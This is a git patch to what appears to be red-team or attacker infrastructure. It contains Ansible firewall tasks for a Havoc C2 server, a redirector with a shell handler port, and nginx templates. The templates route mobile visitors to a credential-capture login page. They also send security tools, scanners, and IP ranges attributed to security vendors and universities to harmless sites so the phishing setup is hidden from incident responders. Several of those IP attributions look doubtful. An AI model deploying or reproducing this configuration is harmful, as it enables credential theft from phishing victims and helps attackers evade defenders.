From ef75e7a476bfbe39d0d230f32c9029275ff2c442 Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Tue, 13 May 2025 08:06:21 -0400 Subject: [PATCH] issue --- deploy.py | 11 +- tasks/configure_redirector.yml | 1 + tasks/security_hardening.yml | 224 +++++++++++------- .../redirector-site-with-tracker.conf.j2 | 117 ++++++++- templates/redirector-site.conf.j2 | 21 +- 5 files changed, 264 insertions(+), 110 deletions(-) diff --git a/deploy.py b/deploy.py index b778a94..dbe0e1c 100755 --- a/deploy.py +++ b/deploy.py @@ -1276,7 +1276,7 @@ def run_ansible_playbook(playbook, inventory, config, debug=False): "--extra-vars", "ansible_facts_callback=json" # Get facts in JSON format ] - # Add verbosity if debug mode is enabled - IMPORTANT CHANGE HERE + # Add verbosity if debug mode is enabled if debug: cmd.append("-vvv") # Set ANSIBLE_STDOUT_CALLBACK for human-readable output @@ -1290,7 +1290,7 @@ def run_ansible_playbook(playbook, inventory, config, debug=False): else: logging.info(f"Running Ansible playbook: {playbook}") - # Run the command - MODIFIED TO DISPLAY OUTPUT IN REAL-TIME + # Run the command with enhanced output capture try: process = subprocess.Popen( cmd, @@ -1310,7 +1310,12 @@ def run_ansible_playbook(playbook, inventory, config, debug=False): prefix = COLORS['GREEN'] if is_stdout else COLORS['RED'] for line in iter(pipe.readline, ''): output_list.append(line) - # Only print if debug mode is on or if it's an important message + # Log every line to file regardless of debug mode + if is_stdout: + logging.debug(line.rstrip()) + else: + logging.error(line.rstrip()) + # Always display in terminal, but use filtering if not in debug mode if debug or ('TASK' in line or 'PLAY' in line or 'changed=' in line or 'ok=' in line or 'failed=' in line): print(f"{prefix}{line.rstrip()}{COLORS['RESET']}") pipe.close() diff --git a/tasks/configure_redirector.yml b/tasks/configure_redirector.yml index c416da2..5eecc47 100644 --- a/tasks/configure_redirector.yml +++ b/tasks/configure_redirector.yml @@ -20,6 +20,7 @@ - netcat-openbsd - secure-delete - jq + - php-fpm state: present update_cache: yes diff --git a/tasks/security_hardening.yml b/tasks/security_hardening.yml index 6e1e071..a954c2e 100644 --- a/tasks/security_hardening.yml +++ b/tasks/security_hardening.yml @@ -9,11 +9,10 @@ retries: 5 delay: 5 -- name: Install security packages +- name: Install security packages (non-UFW) apt: name: - fail2ban - - ufw - unattended-upgrades - debsums - aide @@ -25,75 +24,157 @@ retries: 3 delay: 5 -- name: Configure UFW default policies - ufw: - state: enabled - policy: deny - direction: incoming - ignore_errors: yes +# Skip UFW for AWS, use it for other providers +- name: Determine if using AWS provider + set_fact: + is_aws_provider: "{{ provider | default('unknown') == 'aws' }}" -- name: Configure UFW for C2 server +# Only install and configure UFW for non-AWS providers +- name: Check if UFW is installed + command: which ufw + register: ufw_check + failed_when: false + changed_when: false + when: not is_aws_provider + +- name: Install UFW if not present (non-AWS) + apt: + name: ufw + state: present + update_cache: yes + register: ufw_install + until: ufw_install is success + retries: 3 + delay: 5 + when: not is_aws_provider and ufw_check.rc != 0 + +- name: Configure UFW for non-AWS deployments block: - - name: Reset UFW to default deny + - name: Configure UFW default policies ufw: state: enabled policy: deny direction: incoming + ignore_errors: yes - - name: Allow SSH only from operator IP - ufw: - rule: allow - port: "22" - src: "{{ operator_ip }}" - proto: tcp + - name: Configure UFW for C2 server + block: + - name: Reset UFW to default deny + ufw: + state: enabled + policy: deny + direction: incoming - - name: Allow Havoc Teamserver only from operator IP - ufw: - rule: allow - port: "{{ havoc_teamserver_port | default('40056') }}" - src: "{{ operator_ip }}" - proto: tcp + - name: Allow SSH only from operator IP + ufw: + rule: allow + port: "22" + src: "{{ operator_ip }}" + proto: tcp - - name: Allow traffic only from redirector - ufw: - rule: allow - port: "{{ item }}" - src: "{{ redirector_ip }}" - proto: tcp - loop: - - "80" - - "443" - - "{{ havoc_http_port | default('8080') }}" - - "{{ havoc_https_port | default('443') }}" - - "{{ gophish_admin_port }}" - when: "'c2servers' in group_names" + - name: Allow Havoc Teamserver only from operator IP + ufw: + rule: allow + port: "{{ havoc_teamserver_port | default('40056') }}" + src: "{{ operator_ip }}" + proto: tcp -- name: Configure UFW for redirector + - name: Allow traffic only from redirector + ufw: + rule: allow + port: "{{ item }}" + src: "{{ redirector_ip }}" + proto: tcp + loop: + - "80" + - "443" + - "{{ havoc_http_port | default('8080') }}" + - "{{ havoc_https_port | default('443') }}" + - "{{ gophish_admin_port }}" + when: "'c2servers' in group_names" + + - name: Configure UFW for redirector + block: + - name: Reset UFW to default deny + ufw: + state: enabled + policy: deny + direction: incoming + + - name: Allow SSH only from operator IP + ufw: + rule: allow + port: "22" + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow public services from anywhere + ufw: + rule: allow + port: "{{ item }}" + proto: tcp + loop: + - "80" + - "443" + - "{{ shell_handler_port | default('4444') }}" + when: "'redirectors' in group_names" + # Only run UFW block if not AWS and UFW is available/installed + when: not is_aws_provider and (ufw_check.rc == 0 or ufw_install is success) + +# Configure iptables fallback if UFW isn't available (non-AWS only) +- name: Configure basic iptables rules if UFW unavailable block: - - name: Reset UFW to default deny - ufw: - state: enabled - policy: deny - direction: incoming + - name: Set up basic iptables rules for C2 server + shell: | + iptables -F + iptables -P INPUT DROP + iptables -P FORWARD DROP + iptables -P OUTPUT ACCEPT + # Allow established connections + iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT + # Allow SSH from operator + iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT + # Allow Havoc teamserver from operator + iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT + # Allow traffic from redirector + iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(443) }} -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT + when: "'c2servers' in group_names" + when: not is_aws_provider and (ufw_check.rc != 0 and (ufw_install is undefined or ufw_install is failed)) - - name: Allow SSH only from operator IP - ufw: - rule: allow - port: "22" - src: "{{ operator_ip }}" - proto: tcp +# SSH Hardening - applies to all providers +- name: Harden SSH configuration + lineinfile: + path: /etc/ssh/sshd_config + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + state: present + loop: + - { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' } + - { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' } + - { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' } + - { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' } + - { regexp: '^#?AllowTcpForwarding', line: 'AllowTcpForwarding yes' } + - { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' } + - { regexp: '^#?ClientAliveCountMax', line: 'ClientAliveCountMax 2' } + register: ssh_config_updated - - name: Allow public services from anywhere - ufw: - rule: allow - port: "{{ item }}" - proto: tcp - loop: - - "80" - - "443" - - "{{ shell_handler_port | default('4444') }}" - when: "'redirectors' in group_names" +- name: Configure system resource limits + pam_limits: + domain: "*" + limit_type: "{{ item.limit_type }}" + limit_item: "{{ item.limit_item }}" + value: "{{ item.value }}" + loop: + - { limit_type: soft, limit_item: nofile, value: 65535 } + - { limit_type: hard, limit_item: nofile, value: 65535 } + - { limit_type: soft, limit_item: nproc, value: 4096 } + - { limit_type: hard, limit_item: nproc, value: 4096 } +# Set up fail2ban - applies to all providers - name: Set up fail2ban SSH jail copy: dest: /etc/fail2ban/jail.d/sshd.conf @@ -144,35 +225,6 @@ mode: '0700' when: zero_logs | default(false) | bool -# SSH Hardening -- name: Harden SSH configuration - lineinfile: - path: /etc/ssh/sshd_config - regexp: "{{ item.regexp }}" - line: "{{ item.line }}" - state: present - loop: - - { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' } - - { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' } - - { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' } - - { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' } - - { regexp: '^#?AllowTcpForwarding', line: 'AllowTcpForwarding yes' } - - { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' } - - { regexp: '^#?ClientAliveCountMax', line: 'ClientAliveCountMax 2' } - register: ssh_config_updated - -- name: Configure system resource limits - pam_limits: - domain: "*" - limit_type: "{{ item.limit_type }}" - limit_item: "{{ item.limit_item }}" - value: "{{ item.value }}" - loop: - - { limit_type: soft, limit_item: nofile, value: 65535 } - - { limit_type: hard, limit_item: nofile, value: 65535 } - - { limit_type: soft, limit_item: nproc, value: 4096 } - - { limit_type: hard, limit_item: nproc, value: 4096 } - # Service restart handlers - name: Restart SSH service if configuration changed service: diff --git a/templates/redirector-site-with-tracker.conf.j2 b/templates/redirector-site-with-tracker.conf.j2 index c591e04..5177eff 100644 --- a/templates/redirector-site-with-tracker.conf.j2 +++ b/templates/redirector-site-with-tracker.conf.j2 @@ -8,16 +8,107 @@ map $http_user_agent $is_security_tool { ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1; } +# Improved mobile detection regex map $http_user_agent $is_mobile { default 0; - ~*(android|iphone|ipad|mobile|phone|ios|ipod) 1; + ~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1; } map $remote_addr $is_known_security_ip { default 0; - # Example security vendor IP ranges - replace with actual ones - "192.168.1.0/24" 1; # Example placeholder - "10.0.0.0/8" 1; # Example placeholder + + # VirusTotal + "64.71.0.0/16" 1; + "74.125.0.0/16" 1; # Google Cloud (VirusTotal) + "216.239.32.0/19" 1; # Google + + # Recorded Future + "104.196.0.0/14" 1; # Google Cloud + "35.184.0.0/13" 1; # Google Cloud + + # Censys + "198.108.66.0/23" 1; + "162.142.125.0/24" 1; + "167.248.133.0/24" 1; + + # Shodan + "66.240.192.0/18" 1; + "71.6.135.0/24" 1; + "71.6.167.0/24" 1; + "82.221.105.6/32" 1; + "82.221.105.7/32" 1; + "93.120.27.0/24" 1; + + # Symantec/Broadcom + "205.128.0.0/14" 1; + "65.165.0.0/16" 1; + + # McAfee/Trellix + "161.69.0.0/16" 1; + "192.225.158.0/24" 1; + + # CrowdStrike + "45.60.0.0/16" 1; + "199.66.200.0/24" 1; + + # SentinelOne + "104.36.227.0/24" 1; + "104.196.0.0/14" 1; + + # Microsoft Defender + "13.64.0.0/11" 1; # Azure (Microsoft Defender) + "13.104.0.0/14" 1; # Microsoft + "40.74.0.0/15" 1; # Microsoft + "51.4.0.0/15" 1; # Microsoft + "104.40.0.0/13" 1; # Microsoft + "104.208.0.0/13" 1; # Azure + + # Palo Alto + "96.88.0.0/16" 1; + "173.247.96.0/19" 1; + "216.115.73.0/24" 1; + + # Qualys + "64.39.96.0/20" 1; + "64.41.200.0/24" 1; + "92.118.160.0/24" 1; + + # Rapid7 + "5.63.0.0/16" 1; + "38.107.201.0/24" 1; + "45.60.0.0/16" 1; + "71.6.0.0/16" 1; + "206.225.0.0/16" 1; + + # Tenable/Nessus + "23.20.0.0/14" 1; # AWS (Tenable Cloud) + "34.192.0.0/12" 1; # AWS + "54.144.0.0/12" 1; # AWS + "162.219.56.0/21" 1; + "172.104.0.0/16" 1; # Linode (common Nessus hosting) + + # FireEye/Mandiant + "23.98.64.0/18" 1; + "66.114.168.0/22" 1; + "96.43.144.0/20" 1; + "173.231.184.0/22" 1; + + # Akamai + "23.0.0.0/12" 1; + "23.32.0.0/11" 1; + "104.64.0.0/10" 1; + + # Cloudflare + "104.16.0.0/12" 1; + "173.245.48.0/20" 1; + + # Academic Research Networks + "128.32.0.0/16" 1; # UC Berkeley + "128.59.0.0/16" 1; # Columbia University + "128.112.0.0/16" 1; # Princeton University + "128.138.0.0/16" 1; # University of Colorado + "128.197.0.0/16" 1; # Boston University + "146.186.0.0/16" 1; # Carnegie Mellon } # HTTP to HTTPS redirect @@ -49,22 +140,23 @@ server { root /var/www/html; index index.html; - # Advanced IR Evasion - # 1. Redirect security tools to benign sites + # Advanced IR Evasion - IMPORTANT: Order matters! + + # 1. Direct mobile users to credential capture - placed first to ensure it takes priority + if ($is_mobile = 1) { + return 302 https://$host/login/auth.html; + } + + # 2. Redirect security tools to benign sites if ($is_security_tool) { return 302 https://www.google.com; } - # 2. Redirect known security IPs + # 3. Redirect known security IPs if ($is_known_security_ip) { return 302 https://www.microsoft.com; } - # 3. Direct mobile users to credential capture - if ($is_mobile) { - return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html; - } - # 4. Add timing delay for suspicious connections if ($http_referer ~* (security|scan)) { set $delay_response 1; @@ -143,6 +235,7 @@ server { limit_except POST { deny all; } # Process the PHP file + root /var/www; include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; } diff --git a/templates/redirector-site.conf.j2 b/templates/redirector-site.conf.j2 index c7d7b9f..5177eff 100644 --- a/templates/redirector-site.conf.j2 +++ b/templates/redirector-site.conf.j2 @@ -8,9 +8,10 @@ map $http_user_agent $is_security_tool { ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1; } +# Improved mobile detection regex map $http_user_agent $is_mobile { default 0; - ~*(android|iphone|ipad|mobile|phone|ios|ipod) 1; + ~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1; } map $remote_addr $is_known_security_ip { @@ -139,22 +140,23 @@ server { root /var/www/html; index index.html; - # Advanced IR Evasion - # 1. Redirect security tools to benign sites + # Advanced IR Evasion - IMPORTANT: Order matters! + + # 1. Direct mobile users to credential capture - placed first to ensure it takes priority + if ($is_mobile = 1) { + return 302 https://$host/login/auth.html; + } + + # 2. Redirect security tools to benign sites if ($is_security_tool) { return 302 https://www.google.com; } - # 2. Redirect known security IPs + # 3. Redirect known security IPs if ($is_known_security_ip) { return 302 https://www.microsoft.com; } - # 3. Direct mobile users to credential capture - if ($is_mobile) { - return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html; - } - # 4. Add timing delay for suspicious connections if ($http_referer ~* (security|scan)) { set $delay_response 1; @@ -233,6 +235,7 @@ server { limit_except POST { deny all; } # Process the PHP file + root /var/www; include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; }